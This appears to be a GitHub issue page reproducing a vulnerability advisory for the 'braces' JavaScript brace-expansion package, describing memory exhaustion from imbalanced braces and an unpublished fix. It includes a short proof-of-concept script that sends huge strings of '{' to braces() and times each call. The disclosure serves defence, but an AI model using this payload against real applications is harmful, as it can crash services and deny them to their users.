You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const{ braces }=require('micromatch');console.log("Executing payloads...");constmaxRepeats=10;for(letrepeats=1;repeats<=maxRepeats;repeats+=1){constpayload='{'.repeat(repeats*90000);console.log(`Testing with ${repeats} repeats...`);conststartTime=Date.now();braces(payload);constendTime=Date.now();constexecutionTime=endTime-startTime;console.log(`Regex executed in ${executionTime/1000}s.\n`);}
Remediation
A fix was pushed into the master branch but not yet published.
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the
parse
function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.PoC
Remediation
A fix was pushed into the
master
branch but not yet published.References
The text was updated successfully, but these errors were encountered: